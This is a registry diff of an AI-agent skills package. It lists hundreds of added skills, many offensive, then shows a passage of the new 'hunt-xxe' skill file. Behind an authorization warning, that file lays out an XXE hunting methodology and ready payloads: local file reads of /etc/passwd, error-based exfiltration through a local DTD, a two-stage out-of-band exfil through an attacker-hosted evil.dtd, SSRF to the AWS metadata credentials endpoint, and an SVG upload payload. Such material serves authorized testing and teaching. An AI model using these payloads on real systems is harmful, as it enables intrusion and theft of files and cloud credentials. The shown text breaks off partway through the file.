opencode-skills-collection 4.0.67 → 4.0.69

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (329) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +281 -1
  2. package/bundled-skills/access-review/SKILL.md +394 -0
  3. package/bundled-skills/access-review/references/details.md +121 -0
  4. package/bundled-skills/agent-evals/SKILL.md +420 -0
  5. package/bundled-skills/agent-observability/SKILL.md +346 -0
  6. package/bundled-skills/agent-observability/references/details.md +786 -0
  7. package/bundled-skills/ai-agent-security/SKILL.md +393 -0
  8. package/bundled-skills/ai-agent-security/references/details.md +912 -0
  9. package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
  10. package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
  11. package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
  12. package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
  13. package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
  14. package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
  15. package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
  16. package/bundled-skills/alerting-oncall/SKILL.md +458 -0
  17. package/bundled-skills/alerting-oncall/references/details.md +84 -0
  18. package/bundled-skills/anti-slop-design/SKILL.md +393 -0
  19. package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +1 -0
  20. package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
  21. package/bundled-skills/argocd-gitops/SKILL.md +469 -0
  22. package/bundled-skills/arm-templates/SKILL.md +438 -0
  23. package/bundled-skills/arm-templates/references/details.md +64 -0
  24. package/bundled-skills/artifact-yylo/SKILL.md +122 -0
  25. package/bundled-skills/asset-inventory/SKILL.md +412 -0
  26. package/bundled-skills/asset-inventory/references/details.md +127 -0
  27. package/bundled-skills/audit-logging/SKILL.md +476 -0
  28. package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
  29. package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
  30. package/bundled-skills/aws-ec2/SKILL.md +426 -0
  31. package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
  32. package/bundled-skills/aws-iam/SKILL.md +463 -0
  33. package/bundled-skills/aws-lambda/SKILL.md +428 -0
  34. package/bundled-skills/aws-rds/SKILL.md +380 -0
  35. package/bundled-skills/aws-s3/SKILL.md +434 -0
  36. package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
  37. package/bundled-skills/aws-vpc/SKILL.md +436 -0
  38. package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
  39. package/bundled-skills/azure-aks/SKILL.md +423 -0
  40. package/bundled-skills/azure-devops/SKILL.md +457 -0
  41. package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
  42. package/bundled-skills/azure-keyvault/SKILL.md +455 -0
  43. package/bundled-skills/azure-keyvault/references/details.md +83 -0
  44. package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
  45. package/bundled-skills/azure-networking/SKILL.md +448 -0
  46. package/bundled-skills/azure-networking/references/details.md +135 -0
  47. package/bundled-skills/azure-sql/SKILL.md +413 -0
  48. package/bundled-skills/azure-sql/references/details.md +113 -0
  49. package/bundled-skills/azure-vms/SKILL.md +402 -0
  50. package/bundled-skills/azure-vms/references/details.md +134 -0
  51. package/bundled-skills/backup-recovery/SKILL.md +388 -0
  52. package/bundled-skills/bb-methodology/SKILL.md +451 -0
  53. package/bundled-skills/bb-methodology/references/details.md +120 -0
  54. package/bundled-skills/block-storage/SKILL.md +371 -0
  55. package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
  56. package/bundled-skills/blue-green-deploy/references/details.md +90 -0
  57. package/bundled-skills/bug-bounty/SKILL.md +447 -0
  58. package/bundled-skills/bug-bounty/references/details.md +1316 -0
  59. package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
  60. package/bundled-skills/business-continuity/SKILL.md +463 -0
  61. package/bundled-skills/career-ops/SKILL.md +186 -0
  62. package/bundled-skills/cdn-setup/SKILL.md +374 -0
  63. package/bundled-skills/change-management/SKILL.md +438 -0
  64. package/bundled-skills/change-management/references/details.md +105 -0
  65. package/bundled-skills/circleci/SKILL.md +475 -0
  66. package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
  67. package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
  68. package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
  69. package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
  70. package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
  71. package/bundled-skills/cloudformation/SKILL.md +461 -0
  72. package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
  73. package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
  74. package/bundled-skills/container-hardening/SKILL.md +126 -0
  75. package/bundled-skills/container-registries/SKILL.md +435 -0
  76. package/bundled-skills/container-scanning/SKILL.md +416 -0
  77. package/bundled-skills/convex-backend/SKILL.md +338 -0
  78. package/bundled-skills/dast-scanning/SKILL.md +437 -0
  79. package/bundled-skills/database-backups/SKILL.md +425 -0
  80. package/bundled-skills/datadog/SKILL.md +487 -0
  81. package/bundled-skills/dependency-scanning/SKILL.md +457 -0
  82. package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
  83. package/bundled-skills/disaster-recovery/SKILL.md +374 -0
  84. package/bundled-skills/disaster-recovery/references/details.md +219 -0
  85. package/bundled-skills/dns-management/SKILL.md +375 -0
  86. package/bundled-skills/docker-compose/SKILL.md +482 -0
  87. package/bundled-skills/docker-management/SKILL.md +426 -0
  88. package/bundled-skills/ebpf-observability/SKILL.md +436 -0
  89. package/bundled-skills/ebpf-observability/references/details.md +542 -0
  90. package/bundled-skills/elk-stack/SKILL.md +487 -0
  91. package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
  92. package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
  93. package/bundled-skills/feature-flags/SKILL.md +426 -0
  94. package/bundled-skills/feature-flags/references/details.md +86 -0
  95. package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
  96. package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
  97. package/bundled-skills/firewall-config/SKILL.md +479 -0
  98. package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
  99. package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
  100. package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
  101. package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
  102. package/bundled-skills/gcp-compute/SKILL.md +319 -0
  103. package/bundled-skills/gcp-gke/SKILL.md +307 -0
  104. package/bundled-skills/gcp-networking/SKILL.md +293 -0
  105. package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
  106. package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
  107. package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
  108. package/bundled-skills/gdpr-compliance/references/details.md +145 -0
  109. package/bundled-skills/geo-audit/SKILL.md +368 -0
  110. package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
  111. package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
  112. package/bundled-skills/geo-citability/SKILL.md +350 -0
  113. package/bundled-skills/geo-compare/SKILL.md +340 -0
  114. package/bundled-skills/geo-content/SKILL.md +383 -0
  115. package/bundled-skills/geo-crawlers/SKILL.md +408 -0
  116. package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
  117. package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
  118. package/bundled-skills/geo-proposal/SKILL.md +378 -0
  119. package/bundled-skills/geo-prospect/SKILL.md +225 -0
  120. package/bundled-skills/geo-report/SKILL.md +436 -0
  121. package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
  122. package/bundled-skills/geo-schema/SKILL.md +408 -0
  123. package/bundled-skills/geo-technical/SKILL.md +78 -0
  124. package/bundled-skills/geo-technical/references/details.md +543 -0
  125. package/bundled-skills/git-workflow/SKILL.md +460 -0
  126. package/bundled-skills/github-actions/SKILL.md +368 -0
  127. package/bundled-skills/gitlab-ci/SKILL.md +340 -0
  128. package/bundled-skills/google-no-code/SKILL.md +136 -0
  129. package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
  130. package/bundled-skills/gpu-server-management/SKILL.md +236 -0
  131. package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
  132. package/bundled-skills/helm-charts/SKILL.md +469 -0
  133. package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
  134. package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
  135. package/bundled-skills/hunt-ato/SKILL.md +184 -0
  136. package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
  137. package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
  138. package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
  139. package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
  140. package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
  141. package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
  142. package/bundled-skills/hunt-cicd/SKILL.md +311 -0
  143. package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
  144. package/bundled-skills/hunt-cors/SKILL.md +335 -0
  145. package/bundled-skills/hunt-dom/SKILL.md +323 -0
  146. package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
  147. package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
  148. package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
  149. package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
  150. package/bundled-skills/hunt-grpc/SKILL.md +317 -0
  151. package/bundled-skills/hunt-host-header/SKILL.md +309 -0
  152. package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
  153. package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
  154. package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
  155. package/bundled-skills/hunt-idor/SKILL.md +434 -0
  156. package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
  157. package/bundled-skills/hunt-k8s/SKILL.md +337 -0
  158. package/bundled-skills/hunt-laravel/SKILL.md +255 -0
  159. package/bundled-skills/hunt-ldap/SKILL.md +351 -0
  160. package/bundled-skills/hunt-lfi/SKILL.md +311 -0
  161. package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
  162. package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
  163. package/bundled-skills/hunt-misc/SKILL.md +378 -0
  164. package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
  165. package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
  166. package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
  167. package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
  168. package/bundled-skills/hunt-oauth/SKILL.md +459 -0
  169. package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
  170. package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
  171. package/bundled-skills/hunt-race-condition/references/details.md +159 -0
  172. package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
  173. package/bundled-skills/hunt-rce/SKILL.md +444 -0
  174. package/bundled-skills/hunt-rce/references/details.md +110 -0
  175. package/bundled-skills/hunt-saml/SKILL.md +156 -0
  176. package/bundled-skills/hunt-session/SKILL.md +342 -0
  177. package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
  178. package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
  179. package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
  180. package/bundled-skills/hunt-springboot/SKILL.md +285 -0
  181. package/bundled-skills/hunt-sqli/SKILL.md +466 -0
  182. package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
  183. package/bundled-skills/hunt-ssrf/references/details.md +179 -0
  184. package/bundled-skills/hunt-ssti/SKILL.md +163 -0
  185. package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
  186. package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
  187. package/bundled-skills/hunt-xxe/SKILL.md +466 -0
  188. package/bundled-skills/i-have-adhd/SKILL.md +170 -0
  189. package/bundled-skills/idea-evaluator/SKILL.md +75 -0
  190. package/bundled-skills/idea-evaluator/idea-evaluator-con/SKILL.md +64 -0
  191. package/bundled-skills/idea-evaluator/idea-evaluator-pro/SKILL.md +64 -0
  192. package/bundled-skills/identity-access-management/SKILL.md +382 -0
  193. package/bundled-skills/identity-access-management/references/details.md +524 -0
  194. package/bundled-skills/incident-management/SKILL.md +484 -0
  195. package/bundled-skills/incident-response/SKILL.md +448 -0
  196. package/bundled-skills/incident-response/references/details.md +113 -0
  197. package/bundled-skills/interview-me/SKILL.md +248 -0
  198. package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
  199. package/bundled-skills/jenkins/SKILL.md +462 -0
  200. package/bundled-skills/jev-use/SKILL.md +158 -0
  201. package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
  202. package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
  203. package/bundled-skills/kubernetes-ops/references/details.md +108 -0
  204. package/bundled-skills/kustomize/SKILL.md +478 -0
  205. package/bundled-skills/ledger-tasks-yylo/SKILL.md +219 -0
  206. package/bundled-skills/linux-administration/SKILL.md +367 -0
  207. package/bundled-skills/linux-hardening/SKILL.md +154 -0
  208. package/bundled-skills/llm-app-security/SKILL.md +389 -0
  209. package/bundled-skills/llm-app-security/references/details.md +674 -0
  210. package/bundled-skills/llm-caching/SKILL.md +334 -0
  211. package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
  212. package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
  213. package/bundled-skills/llm-gateway/SKILL.md +282 -0
  214. package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
  215. package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
  216. package/bundled-skills/load-balancing/SKILL.md +403 -0
  217. package/bundled-skills/loki-logging/SKILL.md +479 -0
  218. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  219. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  220. package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
  221. package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
  222. package/bundled-skills/mcp-server-security/SKILL.md +356 -0
  223. package/bundled-skills/mcp-server-security/references/details.md +745 -0
  224. package/bundled-skills/mdm-device-management/SKILL.md +404 -0
  225. package/bundled-skills/mdm-device-management/references/details.md +410 -0
  226. package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
  227. package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
  228. package/bundled-skills/model-registry-governance/SKILL.md +452 -0
  229. package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
  230. package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
  231. package/bundled-skills/mongodb/SKILL.md +436 -0
  232. package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
  233. package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
  234. package/bundled-skills/mysql/SKILL.md +390 -0
  235. package/bundled-skills/new-relic/SKILL.md +472 -0
  236. package/bundled-skills/nfs-storage/SKILL.md +356 -0
  237. package/bundled-skills/object-storage/SKILL.md +378 -0
  238. package/bundled-skills/offensive-osint/SKILL.md +443 -0
  239. package/bundled-skills/okta-attack/SKILL.md +436 -0
  240. package/bundled-skills/ollama-stack/SKILL.md +379 -0
  241. package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
  242. package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
  243. package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
  244. package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
  245. package/bundled-skills/openshift/SKILL.md +485 -0
  246. package/bundled-skills/opentelemetry/SKILL.md +438 -0
  247. package/bundled-skills/opentelemetry/references/details.md +78 -0
  248. package/bundled-skills/opentofu-migration/SKILL.md +349 -0
  249. package/bundled-skills/osint-methodology/SKILL.md +460 -0
  250. package/bundled-skills/osint-methodology/references/details.md +1350 -0
  251. package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
  252. package/bundled-skills/penetration-testing/SKILL.md +152 -0
  253. package/bundled-skills/performance-tuning/SKILL.md +381 -0
  254. package/bundled-skills/plan-ledger-tasks-yylo/SKILL.md +52 -0
  255. package/bundled-skills/planetscale/SKILL.md +297 -0
  256. package/bundled-skills/platform-engineering/SKILL.md +348 -0
  257. package/bundled-skills/platform-engineering/references/details.md +944 -0
  258. package/bundled-skills/podman/SKILL.md +405 -0
  259. package/bundled-skills/policy-as-code/SKILL.md +434 -0
  260. package/bundled-skills/policy-as-code/references/details.md +204 -0
  261. package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
  262. package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
  263. package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
  264. package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
  265. package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
  266. package/bundled-skills/rag-observability-evals/references/details.md +92 -0
  267. package/bundled-skills/ralph-loop-yylo/SKILL.md +55 -0
  268. package/bundled-skills/ralph-loop-yylo/references/first_check.md +18 -0
  269. package/bundled-skills/ralph-loop-yylo/references/implement.md +60 -0
  270. package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
  271. package/bundled-skills/redis/SKILL.md +421 -0
  272. package/bundled-skills/redteam-report-template/SKILL.md +370 -0
  273. package/bundled-skills/report-writing/SKILL.md +426 -0
  274. package/bundled-skills/report-writing/references/details.md +187 -0
  275. package/bundled-skills/resumable-implementation-contracts/SKILL.md +254 -0
  276. package/bundled-skills/reverse-proxy/SKILL.md +420 -0
  277. package/bundled-skills/runbook-creation/SKILL.md +438 -0
  278. package/bundled-skills/runbook-creation/references/details.md +71 -0
  279. package/bundled-skills/saas-security-posture/SKILL.md +415 -0
  280. package/bundled-skills/sast-scanning/SKILL.md +444 -0
  281. package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
  282. package/bundled-skills/security-arsenal/SKILL.md +446 -0
  283. package/bundled-skills/security-arsenal/references/details.md +540 -0
  284. package/bundled-skills/security-automation/SKILL.md +146 -0
  285. package/bundled-skills/semantic-versioning/SKILL.md +434 -0
  286. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  287. package/bundled-skills/service-mesh/SKILL.md +422 -0
  288. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  289. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  290. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  291. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  292. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  293. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  294. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  295. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  296. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  297. package/bundled-skills/systemd-services/SKILL.md +379 -0
  298. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  299. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  300. package/bundled-skills/terraform-azure/references/details.md +231 -0
  301. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  302. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  303. package/bundled-skills/understand-project-yylo/SKILL.md +62 -0
  304. package/bundled-skills/user-management/SKILL.md +383 -0
  305. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  306. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  307. package/bundled-skills/vendor-management/SKILL.md +439 -0
  308. package/bundled-skills/vendor-management/references/details.md +109 -0
  309. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  310. package/bundled-skills/vllm-server/SKILL.md +236 -0
  311. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  312. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  313. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  314. package/bundled-skills/waf-setup/SKILL.md +354 -0
  315. package/bundled-skills/waf-setup/references/details.md +211 -0
  316. package/bundled-skills/weather-model-data-fetching/SKILL.md +277 -0
  317. package/bundled-skills/weather-observation-fetching/SKILL.md +246 -0
  318. package/bundled-skills/web2-recon/SKILL.md +440 -0
  319. package/bundled-skills/web2-recon/references/details.md +319 -0
  320. package/bundled-skills/web3-audit/SKILL.md +445 -0
  321. package/bundled-skills/web3-audit/references/details.md +224 -0
  322. package/bundled-skills/wiki-yylo/SKILL.md +114 -0
  323. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  324. package/bundled-skills/windows-hardening/references/details.md +204 -0
  325. package/bundled-skills/windows-server/SKILL.md +318 -0
  326. package/bundled-skills/workflow-yylo/SKILL.md +107 -0
  327. package/bundled-skills/zero-trust/SKILL.md +461 -0
  328. package/package.json +1 -1
  329. package/skills_index.json +6924 -0
@@ -0,0 +1,466 @@
1
+ ---
2
+ name: hunt-xxe
3
+ description: Hunting skill for xxe vulnerabilities.
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: github, hackerone_public, assetnote_research, splunk_security
16
+ report_count: 10
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ ## Crown Jewel Targets
33
+
34
+ XXE is a critical-severity vulnerability that consistently pays at the top of bug bounty scales ($5,000–$30,000+) due to its direct path to sensitive data exfiltration and SSRF. Highest-value targets:
35
+
36
+ - **Large enterprise platforms** with XML-heavy backend integrations (finance, logistics, ride-sharing APIs)
37
+ - **Domains with file-read capability** — `/etc/passwd`, `/etc/shadow`, internal config files, AWS metadata endpoints
38
+ - **Subdomains sharing backend infrastructure** — one XXE endpoint can pivot to internal services across dozens of domains (as demonstrated by 26+ Uber domains via a single entry point)
39
+ - **API gateways** accepting XML content types — especially REST APIs that silently accept `Content-Type: application/xml`
40
+ - **File upload features** — SVG, DOCX, XLSX, PDF, PPTX parsers on the server side
41
+ - **SAML/SSO endpoints** — SAML assertions are XML-based and frequently vulnerable
42
+ - **Office/document processing services** — any feature that converts or processes user-supplied documents
43
+
44
+ ---
45
+
46
+ ## Attack Surface Signals
47
+
48
+ ### URL Patterns
49
+ ```
50
+ /api/v*/xml
51
+ /upload
52
+ /import
53
+ /parse
54
+ /convert
55
+ /saml/acs
56
+ /sso/saml
57
+ /feed
58
+ /rss
59
+ /sitemap
60
+ /webdav
61
+ /soap/*
62
+ /wsdl
63
+ /service.asmx
64
+ /xmlrpc
65
+ /graphql (multipart with XML)
66
+ ```
67
+
68
+ ### Request/Response Headers
69
+ ```
70
+ Content-Type: application/xml
71
+ Content-Type: text/xml
72
+ Content-Type: application/soap+xml
73
+ Content-Type: multipart/form-data ← check file upload fields
74
+ Accept: application/xml
75
+ X-Content-Type-Options: (absent — good sign of loose parsing)
76
+ ```
77
+
78
+ ### JavaScript Patterns (source recon)
79
+ ```javascript
80
+ // Look for in JS bundles
81
+ XMLSerializer
82
+ DOMParser
83
+ parseFromString
84
+ new ActiveXObject("Microsoft.XMLDOM")
85
+ $.parseXML(
86
+ xml2js
87
+ libxmljs
88
+ lxml
89
+ ```
90
+
91
+ ### Tech Stack Signals
92
+ - **Java stacks**: Spring, Struts, JAX-WS — default XML parsers (SAX, DOM) are XXE-vulnerable without explicit hardening
93
+ - **PHP**: `simplexml_load_string()`, `DOMDocument::loadXML()` — vulnerable by default pre-PHP 8
94
+ - **Python**: `lxml`, `xml.etree` (safe by default), `xml.sax` (unsafe)
95
+ - **Ruby**: `Nokogiri` older versions, `REXML`
96
+ - **Node.js**: `xml2js`, `libxmljs`, `fast-xml-parser` (older versions)
97
+ - **WSDL/SOAP services**: Always test — legacy XML parsing virtually guaranteed
98
+ - **File parsers**: Apache POI (Java), python-docx, LibreOffice integrations
99
+
100
+ ---
101
+
102
+ ## Step-by-Step Hunting Methodology
103
+
104
+ 1. **Map every XML entry point** — Use Burp Suite passive scanner to flag all requests/responses with XML content types. Also intercept JSON endpoints and manually swap `Content-Type` to `application/xml` with equivalent XML body.
105
+
106
+ 2. **Identify file upload features** — Upload SVG, DOCX, XLSX, and observe if the server processes/renders content. These are often XML under the hood.
107
+
108
+ 3. **Attempt inline XXE (classic file read)** — Replace the XML body with a basic entity test payload targeting `/etc/passwd` or `C:\Windows\win.ini`. Observe if the value is reflected in the response.
109
+
110
+ 4. **If no reflection, pivot to Blind OOB** — Set up an OOB listener (Burp Collaborator, interactsh, or a self-hosted netcat server). Inject an external entity pointing to your callback URL. Confirm DNS/HTTP hit to validate the parser is making outbound connections.
111
+
112
+ 5. **Escalate Blind OOB to file exfiltration** — Use a two-stage payload: first entity loads local file, second entity sends it OOB via HTTP parameter or DNS exfiltration.
113
+
114
+ 6. **Test SSRF pivot** — Point the external entity at internal network addresses (`http://169.254.169.254/latest/meta-data/`, `http://10.0.0.1/`, `http://localhost:8080/admin`). Look for differences in response timing or error messages.
115
+
116
+ 7. **Test all subdomains sharing the same backend** — If one subdomain is vulnerable, enumerate and test all others systematically. Shared backend infrastructure means shared vulnerability.
117
+
118
+ 8. **Test parameter-level injection** — Some endpoints parse only specific XML nodes. Inject entities into every element value, attribute value, and even element names.
119
+
120
+ 9. **Test for error-based exfiltration** — If OOB is blocked, trigger XML parsing errors that include file content in the error message returned to the client.
121
+
122
+ 10. **Document the full impact chain** — Demonstrate: file read → SSRF → internal service access → note which internal domains/IPs are reachable.
123
+
124
+ ---
125
+
126
+ ## Payload & Detection Patterns
127
+
128
+ ### Error-based exfil via local-DTD repurposing (zero network egress)
129
+ When both `file://` outbound AND external-DTD fetch are blocked, reference a DTD already on disk and redefine one of its internal entities so the target file content leaks in the parse error:
130
+ ```xml
131
+ <!DOCTYPE foo [
132
+ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
133
+ <!ENTITY % ISOamso '
134
+ <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
135
+ <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; err SYSTEM &#x27;file:///nonexist/%file;&#x27;>">
136
+ %eval; %err;'>
137
+ %local_dtd; ]>
138
+ ```
139
+ Needs zero network egress. Local DTD paths differ per distro (yelp/docbookx is common) — enumerate. (PortSwigger: XXE by repurposing a local DTD.)
140
+
141
+ ### Classic In-Band File Read
142
+ ```xml
143
+ <?xml version="1.0" encoding="UTF-8"?>
144
+ <!DOCTYPE foo [
145
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
146
+ ]>
147
+ <root><data>&xxe;</data></root>
148
+ ```
149
+
150
+ ### Windows Equivalent
151
+ ```xml
152
+ <?xml version="1.0" encoding="UTF-8"?>
153
+ <!DOCTYPE foo [
154
+ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
155
+ ]>
156
+ <root><data>&xxe;</data></root>
157
+ ```
158
+
159
+ ### Blind OOB — DNS/HTTP Callback
160
+ ```xml
161
+ <?xml version="1.0" encoding="UTF-8"?>
162
+ <!DOCTYPE foo [
163
+ <!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
164
+ ]>
165
+ <root><data>&xxe;</data></root>
166
+ ```
167
+
168
+ ### Blind OOB — File Exfiltration via Parameter Entity (two-stage)
169
+ ```xml
170
+ <?xml version="1.0" encoding="UTF-8"?>
171
+ <!DOCTYPE foo [
172
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
173
+ <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
174
+ %dtd;
175
+ ]>
176
+ <root><data>trigger</data></root>
177
+ ```
178
+
179
+ **evil.dtd (hosted on attacker server):**
180
+ ```xml
181
+ <!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
182
+ %all;
183
+ ```
184
+
185
+ ### SSRF via XXE (AWS Metadata)
186
+ ```xml
187
+ <?xml version="1.0" encoding="UTF-8"?>
188
+ <!DOCTYPE foo [
189
+ <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
190
+ ]>
191
+ <root><data>&ssrf;</data></root>
192
+ ```
193
+
194
+ ### SVG XXE (for file upload endpoints)
195
+ ```xml
196
+ <?xml version="1.0" standalone="yes"?>
197
+ <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
198
+ <svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
199
+ <text font-size="14" x="0" y="16">&xxe;</text>
200
+ </svg>
201
+ ```
202
+
203
